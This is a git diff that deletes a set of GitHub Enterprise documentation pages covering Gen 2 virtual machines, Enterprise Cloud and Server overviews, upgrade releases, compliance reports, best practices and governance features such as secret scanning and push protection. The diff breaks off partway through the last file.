/admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources -versions: - ghes: '*' -topics: - - Enterprise -children: - - /increasing-storage-capacity - - /increasing-cpu-or-memory-resources - - /using-generation-2-virtual-machines -shortTitle: Update VM & resources ---- diff --git a/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/using-generation-2-virtual-machines.md b/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/using-generation-2-virtual-machines.md deleted file mode 100644 index 0520e8eada91..000000000000 --- a/content/admin/monitoring-and-managing-your-instance/updating-the-virtual-machine-and-physical-resources/using-generation-2-virtual-machines.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Using generation 2 virtual machines -intro: 'New installs of {% data variables.product.prodname_ghe_server %} 3.14 or later can use generation 2 virtual machines.' -redirect_from: - - /admin/monitoring-managing-and-updating-your-instance/updating-the-virtual-machine-and-physical-resources/using-generation-2-virtual-machines -versions: - ghes: '>3.13' -type: reference -topics: - - Enterprise - - Upgrades -shortTitle: Generation 2 virtual machines -allowTitleToDifferFromFilename: true ---- - -## About generation 2 virtual machines - -Generation 2 virtual machines (Gen 2 VMs) allow you to vertically scale your appliance to cope with increased demand. - -Cloud service providers such as Microsoft Azure expect Gen 2 VMs to be bootable in UEFI mode. In new installations of version 3.14 and later, {% data variables.product.prodname_ghe_server %} supports both BIOS mode and UEFI mode. The partition layout has been updated to use four partitions: - -* Two for the supported boot modes (BIOS and UEFI) -* Two for the {% data variables.product.prodname_ghe_server %} primary and fallback - -## Can I upgrade to a Gen 2 VM? - -If you are upgrading from 3.13 or earlier, your instance will **continue to boot** using BIOS firmware, with no changes to the partition layout. There is no upgrade path to the Gen 2 VM in UEFI mode. - -## How do I use a Gen 2 VM? - -To use a Gen 2 VM, you must deploy a **new** Gen 2 VM instance running version 3.14 or later, then restore your existing data onto this instance. This instance will have the required partition layout. Future upgrades from this point will have four partitions. - -Once you are running an instance on a Gen 2 VM with four partitions, during upgrades to a future release, the partition selection prompt will suggest a different default value. The partition selection will be between the third and fourth partitions. diff --git a/content/admin/overview/about-github-enterprise-cloud.md b/content/admin/overview/about-github-enterprise-cloud.md deleted file mode 100644 index abd20cf8ad68..000000000000 --- a/content/admin/overview/about-github-enterprise-cloud.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: About GitHub Enterprise Cloud -intro: 'Learn about {% data variables.product.prodname_ghe_cloud %}, its features, and management options for large businesses and teams.' -versions: - ghec: '*' -type: overview -topics: - - Enterprise - - Fundamentals ---- - -{% data variables.product.prodname_ghe_cloud %} is a deployment option for {% data variables.product.prodname_enterprise %}, adding advanced features to {% data variables.product.prodname_dotcom %}, including: - -* SAML authentication -* Additional {% data variables.product.prodname_actions %} minutes -* Restriction of email notifications to verified domains -* Privately published {% data variables.product.prodname_pages %} sites -* {% data variables.enterprise.prodname_managed_users_caps %} -* Repository rulesets -* {% data variables.product.company_short %}'s compliance reports -* The option to host your company's data in a specific region, on a unique subdomain - -For a full list of features included with {% data variables.product.prodname_ghe_cloud %}, see our [Pricing](https://github.com/pricing) page. - -## What are the differences between {% data variables.product.prodname_ghe_cloud %} and other plans? - -A key difference between {% data variables.product.prodname_ghe_cloud %} and other {% data variables.product.prodname_dotcom %} plans is access to an enterprise account, which gives administrators a central point for managing multiple organizations. See [AUTOTITLE](/admin/overview/about-enterprise-accounts). - -{% data reusables.enterprise.ghe-includes-ghec-and-ghes %} For more information about {% data variables.product.prodname_ghe_server %} and how it differs from {% data variables.product.prodname_ghe_cloud %}, see [AUTOTITLE](/admin/overview/about-github-for-enterprises#about-deployment-options). - -{% data reusables.enterprise.enterprise-types %} - -## About documentation - -Documentation for both administrators and users of {% data variables.product.prodname_ghe_cloud %} is available on this site, {% data variables.product.prodname_docs %}. - -* [Enterprise administrator documentation](/admin) -* [User documentation](/) - -{% data reusables.docs.ghec-docs %} - -## Can I try {% data variables.product.prodname_ghe_cloud %}? - -You can sign up for a free, 30-day trial of {% data variables.product.prodname_ghe_cloud %} on {% data variables.product.prodname_dotcom_the_website %}. See [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud). - -If you require {% data variables.enterprise.data_residency_short %}, contact {% data variables.contact.contact_enterprise_sales %}. - -## Further reading - -* [AUTOTITLE](/get-started/onboarding/getting-started-with-github-enterprise-cloud) -* [AUTOTITLE](/admin/data-residency/about-github-enterprise-cloud-with-data-residency) -* [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository diff --git a/content/admin/overview/about-github-enterprise-server.md b/content/admin/overview/about-github-enterprise-server.md deleted file mode 100644 index 4a8eb4b999a3..000000000000 --- a/content/admin/overview/about-github-enterprise-server.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: About GitHub Enterprise Server -intro: 'Find out if {% data variables.product.prodname_ghe_server %} is right for your business.' -versions: - ghes: '*' -type: overview -topics: - - Enterprise - - Fundamentals ---- - -{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} Your business can benefit from increased control and avoid issues associated the public cloud, while your developers can benefit from familiar features and workflows from {% data variables.product.prodname_dotcom_the_website %}. - -{% data variables.product.prodname_ghe_server %} is suitable for enterprises that are subject to regulatory compliance. It runs on your infrastructure and is governed by access and security controls that you define, such as firewalls, network policies, IAM, monitoring, and VPNs. - -If your main compliance requirement is for your company's data to reside in a specific region, you may want to consider {% data variables.enterprise.data_residency %}. With this option, you won't need to schedule downtime for maintenance or upgrades, and your users will have access to the latest features from {% data variables.product.prodname_dotcom_the_website %}, such as {% data variables.product.prodname_copilot %}. See [AUTOTITLE](/enterprise-cloud@latest/admin/data-residency/about-github-enterprise-cloud-with-data-residency) in the {% data variables.product.prodname_ghe_cloud %} documentation. - -{% data variables.product.prodname_ghe_server %} is a deployment option for the {% data variables.product.prodname_enterprise %} plan. To learn about available features and assess other deployment options, see [AUTOTITLE](/admin/overview/about-github-for-enterprises). - -## Features and releases - -{% data reusables.enterprise.constantly-improving %} - -Most features are released on {% data variables.product.prodname_dotcom_the_website %} first, then come to {% data variables.product.prodname_ghe_server %} through the release process. You can see which features we're working on in the [{% data variables.product.prodname_roadmap %}]({% data variables.product.prodname_roadmap_link %}). - -### Optional features - -You can also configure optional features on {% data variables.product.prodname_ghe_server %} to improve the software development lifecycle for your enterprise. - -* **{% data variables.product.prodname_actions %}:** Automate CI/CD and development workflows{% ifversion ghas-products %} -* **{% data variables.product.prodname_GH_code_security %}:** Automate detection and remediation of vulnerabilities in code and dependencies -* **{% data variables.product.prodname_GH_secret_protection %}:** Block users from leaking secrets and identify and remediate historic leaks{% else %} -* **{% data variables.product.prodname_GHAS %}:** Scan code for secrets and vulnerabilities{% endif %} -* **{% data variables.product.prodname_github_connect %}:** Benefit from data and features on {% data variables.product.prodname_dotcom_the_website %} -* **{% data variables.product.prodname_registry %}:** Host software packages for your enterprise - -## How do I deploy {% data variables.product.prodname_ghe_server %}? - -{% data reusables.enterprise.github-distributes-ghes %} Installing third-party software or making changes to the underlying operating system is not supported. - -You can deploy {% data variables.product.prodname_ghe_server %} to a virtualization hypervisor within your on-premises datacenter, or to a public cloud service. - -### Supported on-premises hypervisors - -* Microsoft Hyper-V -* OpenStack KVM -* VMware ESXi - -### Supported cloud services - -* Amazon Web Services (AWS) -* Google Cloud Platform (GCP) -* Microsoft Azure - -## Administrative options - -You can give certain employees administrative access to your {% data variables.product.prodname_ghe_server %} instance. {% data variables.product.company_short %} has found that people with Linux administration experience are more successful with deployment and maintenance. - -Administrators can: - -* Configure and monitor the instance via browser, administrative SSH access, and REST or GraphQL APIs -* Set up external authentication using CAS, LDAP, or SAML -* Set usage policies to ensure compliance with business rules or regulatory restrictions - -## Backups and availability - -{% data variables.product.prodname_ghe_server %} provides options for safeguarding against data loss or service disruptions. - -* To back up configuration and user data, you can take regular snapshots of your instance using our Backup Utilities system. -* To increase reliability, you can configure a passive replica instance to fail over to in the event of a system or network failure. -* To improve performance, you can configure active replicas to scale the instance for dispersed users or high demand. - -## Getting started - -You can sign up for a free, 45-day trial of {% data variables.product.prodname_ghe_server %}. See [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-server). - -If you're ready to get started with a production instance, see [AUTOTITLE](/get-started/onboarding/getting-started-with-github-enterprise-server). diff --git a/content/admin/overview/about-github-for-enterprises.md b/content/admin/overview/about-github-for-enterprises.md deleted file mode 100644 index 144ab22abdba..000000000000 --- a/content/admin/overview/about-github-for-enterprises.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: About GitHub for enterprises -intro: 'Learn about {% data variables.product.prodname_dotcom %}''s enterprise products and deployment options for {% data variables.product.prodname_enterprise %}.' -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Enterprise - - Fundamentals ---- - -## Why should my business choose {% data variables.product.prodname_dotcom %}? - -* **Provide a platform developers already know.** Adopting {% data variables.product.prodname_dotcom %} can help you reduce onboarding time, attract talent, and leverage a large open source community by using tools already familiar to more than 100 million developers. -* **Consolidate tools in the cloud.** {% data variables.product.prodname_dotcom %} is a complete developer platform to build, scale, and deliver secure software. Adopting {% data variables.product.prodname_dotcom %} can help companies consolidate their DevOps tools or move away from on-premises solutions that can be difficult to maintain. -* **Benefit from modern features.** {% data variables.product.company_short %} consistently releases new features and updates. Our platform includes well-known tools like {% data variables.product.prodname_copilot %} and {% data variables.product.prodname_actions %}. - -## How enterprises use {% data variables.product.prodname_dotcom %} - -Businesses use {% data variables.product.prodname_dotcom %} products to support the entire software development lifecycle, increasing development velocity and improving code quality. - -With {% data variables.product.prodname_dotcom %}, your business can plan work, increase productivity, automate processes, and keep code secure. - -### Collaboration - -Your developers can: - -* Track work and communicate in issues and discussions -* Plan and review work cycles with projects -* Review each other's work in pull requests - -### Productivity - -Your developers can: - -* Benefit from AI-powered code suggestions with {% data variables.product.prodname_copilot %}, the most widely adopted AI developer tool -* Get started with new projects quickly with {% data variables.product.prodname_github_codespaces %}, a cloud-hosted development environment -* Integrate with {% data variables.product.prodname_dotcom %} from their local development environment using {% data variables.product.prodname_cli %} and {% data variables.product.prodname_desktop %} - -### Automation - -Your business can: - -* Automate your build, test, and deployment pipeline with {% data variables.product.prodname_actions %} -* Host software packages with {% data variables.product.prodname_registry %} -* Build tooling with REST and GraphQL APIs, {% data variables.product.prodname_github_apps %}, and webhooks - -### Security - -Your business can: - -{% ifversion ghas-products %} -* Automate detection and remediation of vulnerabilities in code and dependencies using {% data variables.product.prodname_GH_code_security %} -* Block users from leaking secrets and identify and remediate historic leaks using {% data variables.product.prodname_GH_secret_protection %}{% else %} -* Be alerted to leaked secrets or vulnerable code patterns using {% data variables.product.prodname_GHAS %} tools{% endif %} -* Keep software dependencies up to date with {% data variables.product.prodname_dependabot %} -* Monitor the security landscape across your repositories with security overview - -## Benefits of the {% data variables.product.prodname_enterprise %} plan - -{% data variables.product.prodname_enterprise %} is our most comprehensive plan. In addition to the features included with a {% data variables.product.prodname_free_team %} or {% data variables.product.prodname_team %} plan for organizations, the plan includes: - -* Additional features such as SAML authentication and internal repositories. For a detailed list, see {% data variables.product.pricing_link %}. -* Extra allowances for usage-based products such as {% data variables.product.prodname_actions %}. -* An enterprise account, which provides a single place to manage billing and settings, enforce policies, and audit the people with access to your enterprise. -* The option to add {% ifversion ghas-products %}<!-- Enterprise is no longer a pre-requisite with the GHAS products release -->{% else %}{% data variables.product.prodname_GHAS %}, {% endif %}{% data variables.contact.premium_support %}, and {% data variables.product.prodname_copilot_enterprise %}. - -When businesses adopt {% data variables.product.prodname_enterprise %}, their return on investment (ROI) is high. For example, their developers **save 45 minutes per day**, and onboarding and **training time is reduced by 40%**. See [The Total Economic Impact of {% data variables.product.prodname_enterprise %}](https://resources.github.com/forrester/). - -## About deployment options - -{% data reusables.enterprise.ghe-includes-ghec-and-ghes %} You can choose to use **one or both** of these deployment options. - -**With {% data variables.product.prodname_ghe_cloud %}:** - -* Your repositories and other resources are hosted by {% data variables.product.company_short %}, and you'll automatically have access to the latest features and bugfixes. -* You can choose for your enterprise to be hosted on {% data variables.product.prodname_dotcom_the_website %} or, for more control over where your company's code and data reside, on your own subdomain of {% data variables.enterprise.data_residency_site %}. -* To access your resources, members of your enterprise can use their personal account or, if you use {% data variables.product.prodname_emus %}, you will provision accounts for users using an external system. - -**With {% data variables.product.prodname_ghe_server %}:** - -* You run your own {% data variables.product.prodname_dotcom %} instance, either on-premises or on a public cloud service. -* You create accounts for users, and authenticate users using either built-in authentication or an external system. -* You can enable {% data variables.product.prodname_github_connect %} to benefit from features that rely on {% data variables.product.prodname_dotcom_the_website %}, such as {% data variables.product.prodname_dependabot_alerts %} and actions hosted on {% data variables.product.prodname_dotcom_the_website %}. - -## Next steps - -1. Learn more about {% data variables.product.prodname_enterprise %}. - - * [AUTOTITLE](/enterprise-cloud@latest/admin/overview/about-github-enterprise-cloud){% ifversion not ghec %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %} - * [AUTOTITLE]({% ifversion not ghes %}/enterprise-server@latest{% endif %}/admin/overview/about-github-enterprise-server){% ifversion not ghes %} in the {% data variables.product.prodname_ghe_server %} documentation.{% else %}.{% endif %} -1. Set up a trial. - - * [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-cloud) - * [AUTOTITLE](/admin/overview/setting-up-a-trial-of-github-enterprise-server) - -## Further reading - -* [AUTOTITLE](/admin/overview/about-enterprise-accounts) -* [AUTOTITLE](/enterprise-cloud@latest/admin/data-residency/about-github-enterprise-cloud-with-data-residency){% ifversion ghes %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %} -* [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security) -* [AUTOTITLE](/support/learning-about-github-support/about-github-premium-support) -* [AUTOTITLE](/enterprise-server@latest/admin/configuration/configuring-github-connect/about-github-connect) -* [Compare {% data variables.product.prodname_dotcom %} to other DevOps solutions](https://resources.github.com/devops/tools/compare/) in {% data variables.product.company_short %} Resources diff --git a/content/admin/overview/about-the-github-enterprise-api.md b/content/admin/overview/about-the-github-enterprise-api.md deleted file mode 100644 index 75a41eb8d57b..000000000000 --- a/content/admin/overview/about-the-github-enterprise-api.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: About the GitHub Enterprise API -intro: '{% data variables.product.prodname_ghe_server %} supports REST and GraphQL APIs.' -redirect_from: - - /enterprise/admin/installation/about-the-github-enterprise-server-api - - /enterprise/admin/articles/about-the-enterprise-api - - /enterprise/admin/articles/using-the-api - - /enterprise/admin/categories/api - - /enterprise/admin/overview/about-the-github-enterprise-server-api - - /admin/overview/about-the-github-enterprise-server-api -versions: - ghes: '*' -topics: - - Enterprise -shortTitle: GitHub Enterprise API ---- - -With the APIs, you can automate many administrative tasks. Some examples include: - -{%- ifversion management-console-manage-ghes-parity %} -* Perform a configuration run to apply changes to {% data variables.enterprise.management_console %} settings. For more information, see [AUTOTITLE](/rest/enterprise-admin/manage-ghes). -{%- endif %} -* Configure LDAP sync. For more information, see [AUTOTITLE](/rest/enterprise-admin/ldap). -* Collect statistics about your enterprise. For more information, see [AUTOTITLE](/rest/enterprise-admin/admin-stats). -* Manage your enterprise account. For more information, see [AUTOTITLE](/graphql/guides/managing-enterprise-accounts). - -For the complete documentation for the {% data variables.product.prodname_enterprise_api %}, see [{% data variables.product.prodname_dotcom %} REST API](/rest) and [{% data variables.product.prodname_dotcom %} GraphQL API](/graphql). diff --git a/content/admin/overview/about-upgrades-to-new-releases.md b/content/admin/overview/about-upgrades-to-new-releases.md deleted file mode 100644 index f8fb94877f76..000000000000 --- a/content/admin/overview/about-upgrades-to-new-releases.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: About upgrades to new releases -shortTitle: About upgrades -intro: 'Learn about how features and bug fixes are added to {% data variables.product.prodname_ghe_server %} through new releases.' -versions: - ghes: '*' -type: overview -topics: - - Enterprise - - Upgrades ---- - -{% data reusables.enterprise.constantly-improving %} - -## Feature releases - -Feature releases include new functionality and feature upgrades and typically occur quarterly. - -All feature releases begin with at least one release candidate. - -## Release candidates - -Release candidates are _proposed_ feature releases, with a complete feature set. There may be problems that can only be found by customers actually using the release. - -For performance, stability, and security reasons: -* **Do not install a release candidate in a production environment.** Release candidate builds are intended solely for test and staging environments. -* **Do not upgrade to a release candidate from a supported, earlier version.** Instead, install a release candidate in a new, test environment. -* **Do not upgrade from the release candidate to later versions**, including generally available releases. Instead, destroy the release candidate environment. - -As you test a release candidate, please provide feedback by contacting support. See [AUTOTITLE](/support). - -Each new release candidate adds bug fixes for issues found in prior versions. When the release is ready for widespread adoption, {% data variables.product.company_short %} publishes a stable feature release. - -## Patch releases - -Between feature releases, you can benefit from patch releases, which: - -* Consist of hot patches and bug fixes -* Happen more frequently than feature releases -* Are generally available when first released, with no release candidates -* Typically require less than five minutes of downtime - -## Upgrading {% data variables.product.prodname_ghe_server %} - -There are two ways to upgrade {% data variables.product.prodname_ghe_server %}: - -* To set up a **completely new {% data variables.product.prodname_ghe_server %} instance** and configure the instance however you like, see [AUTOTITLE](/admin/installation/setting-up-a-github-enterprise-server-instance) and [AUTOTITLE](/admin/configuration/configuring-your-enterprise). -* To upgrade your **existing instance** to a new release, see [AUTOTITLE](/admin/upgrading-your-instance/preparing-to-upgrade/overview-of-the-upgrade-process). - -## Further reading - -* [{% data variables.product.prodname_roadmap %}]({% data variables.product.prodname_roadmap_link %}) in the `github/roadmap` repository diff --git a/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md b/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md deleted file mode 100644 index 1f2768a80aaf..000000000000 --- a/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Accessing compliance reports for your enterprise -intro: 'You can access {% data variables.product.company_short %}''s compliance reports, such as our SOC reports and Cloud Security Alliance CAIQ self-assessment (CSA CAIQ), for your enterprise.' -versions: - ghec: '*' -type: how_to -topics: - - Accounts - - Enterprise - - Fundamentals -permissions: Enterprise owners can access compliance reports for the enterprise. -shortTitle: Access compliance reports ---- - -## About {% data variables.product.company_short %}'s compliance reports - -You can access {% data variables.product.company_short %}'s compliance reports in your enterprise settings. - -{% data reusables.security.compliance-report-list %} - -## Accessing compliance reports for your enterprise - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %} -1. Under "Resources", to the right of the report you want to access, click **{% octicon "download" aria-hidden="true" %} Download** or **{% octicon "link-external" aria-hidden="true" %} View**. - - {% data reusables.security.compliance-report-screenshot %} - -## Further reading - -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization){% ifversion enterprise-member-csv %} -* [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise){% endif %} diff --git a/content/admin/overview/best-practices-for-enterprises.md b/content/admin/overview/best-practices-for-enterprises.md deleted file mode 100644 index 5ad36aa80c83..000000000000 --- a/content/admin/overview/best-practices-for-enterprises.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Best practices for enterprises -shortTitle: Best practices -intro: 'Learn {% data variables.product.company_short %}-recommended practices for your enterprise.' -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Accounts - - Enterprise - - Fundamentals ---- - -{% ifversion ghec %} - -## Choose an enterprise type - -Before you start using {% data variables.product.prodname_ghe_cloud %}, you must choose a type of enterprise. {% data reusables.enterprise.ghec-authentication-options %} - -For help identifying the type of enterprise that will best meet your needs, see [AUTOTITLE](/admin/identity-and-access-management/understanding-iam-for-enterprises/choosing-an-enterprise-type-for-github-enterprise-cloud). - -{% endif %} - -## Assign multiple owners - -{% data reusables.organizations.ent-ownership-recommendation %} For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise). - -## Use policies - -We recommend using policies to enforce business rules and regulatory compliance. - -{% data reusables.enterprise.about-policies %} For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies). - -## Minimize the number of organizations - -Most businesses are best served by a single organization. Some enterprises may need multiple organizations for compliance or security reasons, but try to create as few as possible. A smaller number of organizations encourages innersource practice, allows discussions to involve a wider audience, and reduces administrative overhead. - -For more guidance on how many organizations to create and how to structure them, see [AUTOTITLE](/admin/user-management/managing-organizations-in-your-enterprise/best-practices-for-structuring-organizations-in-your-enterprise). - -## Avoid extensive collaboration in user-owned repositories - -We recommend collaborating in organization-owned repositories whenever possible and minimizing collaboration in user-owned repositories. Organization-owned repositories have more sophisticated security and administrative features, and they remain accessible even as enterprise membership changes. - -## Use human-readable usernames - -{% ifversion ghec %}If you control the usernames for enterprise members, use{% else %}Use{% endif %} human-readable usernames, and avoid machine-generated IDs that are difficult for humans to read. - -You can manage the display of usernames within your enterprise's private repositories. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-display-of-member-names-in-your-organization). - -{% ifversion enterprise-readme %} - -## Create a README - -{% data reusables.enterprise.about-readmes %} For more information, see [AUTOTITLE](/admin/managing-your-enterprise-account/creating-a-readme-for-an-enterprise). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/repositories/creating-and-managing-repositories/best-practices-for-repositories) -* [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/best-practices-for-organizations) diff --git a/content/admin/overview/establishing-a-governance-framework-for-your-enterprise.md b/content/admin/overview/establishing-a-governance-framework-for-your-enterprise.md deleted file mode 100644 index 4696d209c3aa..000000000000 --- a/content/admin/overview/establishing-a-governance-framework-for-your-enterprise.md +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Establishing a governance framework for your enterprise -intro: 'You can manage governance and compliance for your enterprise using features and tools available in {% data variables.product.prodname_enterprise %}.' -shortTitle: Governance framework -allowTitleToDifferFromFilename: true -versions: - ghec: '*' - ghes: '*' -type: overview -topics: - - Enterprise - - Fundamentals ---- - -As an enterprise owner, you are responsible for maintaining a strong security posture, complying with regulations, mitigating risks, and protecting intellectual property, within your enterprise. {% data variables.product.company_short %} has tools that can help with that. - -Storing your company's code on {% data variables.product.github %} allows easy collaboration, tracking, and deployment from a single location. While allowing people to work in repositories with as little friction as possible is important for culture and productivity, you will want to implement some controls over people's work to ensure your code stays secure and reliable. - -With {% data variables.product.prodname_enterprise %}, you have access to {% data variables.product.github %}'s full range of governance features, allowing you to: - -* Control how people can update code -* Govern how people can use repositories -* Monitor activity -* Detect leaked secrets -* Set up an approval process for important actions -* Detect vulnerabilities or errors in code - -<!-- Please note that we may move the sections below around once we've written them --> - -## Protecting your branches - -For important branches in your enterprise's repositories, such as branches containing production code, your compliance framework should reduce the risk of errors or malicious code entering your production environments. - -With **rulesets**, you can apply rules that govern how people can interact with specific branches. You can also give certain users the right to explicitly bypass the rules, which provides flexibility while still making the intended restrictions clear. - -Many enterprises add rules that: - -* **Restrict deletions**, so you can be confident users won't accidentally delete the branch -* **Require a pull request** for all changes, so you have a paper trail and can enforce reviews -* **Require status checks and deployments to succeed** before merging pull requests, so you can guard against errors in production - -Other rules, such as requiring signed commits or a linear commit history, are more situational and depend on your compliance requirements. - -{% ifversion enterprise-code-rulesets %} -As an enterprise owner, you can create rulesets at the enterprise level that flexibly target the repositories and branches where you want rules to apply. You can start by adding a base level of protection to every default branch in your enterprise, then build your framework from there. To get started, see [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-governance). -{% else %} -To learn more, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). -{% endif %} - -## Governing usage of repositories - -Because repositories are where your companies' code and data are stored, it's important to define how users can interact with your repositories to reduce the risk of data leaks. In your enterprise settings, you can set policies to: - -* Restrict the default visibility of repositories -* Prevent non-members from being invited to repositories -* Prevent repositories from being forked or transferred outside of an organization - -The goal of your policies should be to maintain your security requirements while still promoting collaboration and reducing friction for developers. For example, you could create an "open source" organization for all your enterprise's public repositories, and prevent public repositories from being created in any other organization. - -{% ifversion repo-policy-rules %} -The easiest way to enforce restrictions is to create a **repository policy**. This allows you to flexibly target organizations and repositories in your enterprise and apply restrictions around visibility, naming, creation, deletion, and transfers. See [AUTOTITLE](/admin/managing-accounts-and-repositories/managing-repositories-in-your-enterprise/governing-how-people-use-repositories-in-your-enterprise). - -Other policies are available as blanket restrictions. These give you more control over the repository lifecycle, but aren't as flexible as the repository policy features. See{% else %}To learn how to set policies, see{% endif %} [AUTOTITLE](/admin/enforcing-policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise). - -## Monitoring activity - -If something goes wrong, it's important to be able to search activity in your enterprise to investigate the cause or scope of the problem. - -{% data variables.product.github %}'s audit log includes detailed events related to your enterprise account, your organizations, and, if you use {% data variables.product.prodname_emus %}, your managed users. You can filter the audit log for themes like billing activity or search for events associated with a compromised token. - -To access the audit log, see [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise). - -{% data variables.product.github %} does not retain audit log data indefinitely. We recommend streaming your audit logs to an external location, which allows you to retain the data for as long as you need and query the data with external tools. See [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise). - -## Preventing sensitive information from reaching your codebase - -To protect intellectual property and prevent security incidents, it's important to implement a system to keep sensitive information such as tokens out of your codebase. - -### {% data variables.product.prodname_secret_scanning_caps %} - -With **{% data variables.product.prodname_secret_scanning %}**, you can scan your code to detect sensitive information such as API keys, passwords, and other credentials in the codebase, preventing unauthorized access and potential breaches. {% data variables.product.prodname_secret_scanning_caps %} alerts you to sensitive information in your codebase, allowing you to respond appropriately by changing passwords or rotating tokens.{% ifversion ghec %} For generic secrets such as passwords, {% data variables.product.prodname_secret_scanning %} is powered by {% data variables.product.prodname_copilot %} and uses AI. See [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets){% endif %} - -To learn more, see [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning). - -{% data variables.product.prodname_secret_scanning_caps %} can be enabled at the enterprise, organization, and repository level. See {% ifversion ghes %}[AUTOTITLE](/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-secret-scanning-for-your-appliance){% elsif ghec %}[AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/about-security-configurations){% endif %} for enablement at enterprise level. - -### Push protection - -Additionally, you can prevent sensitive data and credentials from being accidentally pushed to repositories with **push protection**. - -Push protection acts as a safeguard by scanning for secrets in real-time and blocking pushes that contain potentially sensitive information. Organization owners can configure push protection policies at the organization level to enforce consistent security standards across all repositories. When a push is blocked, developers receive detailed guidance on how to remediate the issue, such as removing the secret from the code. - -See [AUTOTITLE](/code-security/secret-scanning/introduction/about-push-protection). - -Push protection can be enabled at the organization, repository, and user account level. See [AUTOTITLE](/code-security/secret-scanning/enabling-secret-scanning-features/enabling-push-protection-for-your-repository). - -{% ifversion push-protection-delegated-bypass %} - -## Setting up an approval process for sensitive actions - -You may want to set up an approval process for better control over who in your enterprise can perform sensitive actions. An approval process helps mitigate the risk of unauthorized or malicious changes, and can provide a record of who used the bypass and why, ensuring that all actions are traceable and accountable. - ->[!NOTE] The implementation of these approval processes can potentially cause some friction, so it's important to ensure that your security management team has adequate coverage before proceeding. - -Approval processes are available for: -* Bypasses of push protection—You can choose who is allowed to bypass push protection, and add a review and approval cycle for pushes containing secrets from all other contributors. For more information about **delegated bypass for push protection**, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/delegated-bypass-for-push-protection/about-delegated-bypass-for-push-protection).{% ifversion security-delegated-alert-dismissal %} -* Dismissals of alerts for {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}—You can provide additional control and visibility over alert assessment by ensuring that only designated individuals can dismiss (or close) alerts. For more information about **delegated alert dismissal**, see [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/enabling-delegated-alert-dismissal-for-code-scanning) and [AUTOTITLE](/code-security/code-scanning/managing-your-code-scanning-configuration/enabling-delegated-alert-dismissal-for-code-scanning). - - {% data reusables.advanced-security.delegated-alert-dismissal-beta %} - -{% endif %} - -{% endif %} - -## Identifying security vulnerabilities and errors - -Many industries have regulations that require regular security assessments and vulnerability management. **{% data variables.product.prodname_code_scanning_caps %}** helps ensure compliance with industry standards by identifying and mitigating security risks in your code, such as insecure patterns. - -{% data variables.product.prodname_code_scanning_caps %} can be integrated to your CI/CD pipeline, providing continuous monitoring and assessment of your codebase. - -To get started quickly with {% data variables.product.prodname_code_scanning %}, we recommend you use the default setup. See [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning). - -{% data variables.product.prodname_code_scanning_caps %} can be enabled at the enterprise, organization, and repository level. See {% ifversion ghes %}[AUTOTITLE](/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/configuring-code-scanning-for-your-appliance){% elsif ghec %}[AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/about-security-configurations){% endif %} for enablement at enterprise level. diff --git a/content/admin/overview/feature-overview-for-github-enterprise-cloud.md b/content/admin/overview/feature-overview-for-github-enterprise-cloud.md deleted file mode 100644 index ecb09916bc28..000000000000 --- a/content/admin/overview/feature-overview-for-github-enterprise-cloud.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Feature overview for GitHub Enterprise Cloud -intro: 'Make the most of {% data variables.product.prodname_ghe_cloud %} by learning about its features.' -shortTitle: Feature overview -versions: - ghec: '*' -type: overview -topics: - - 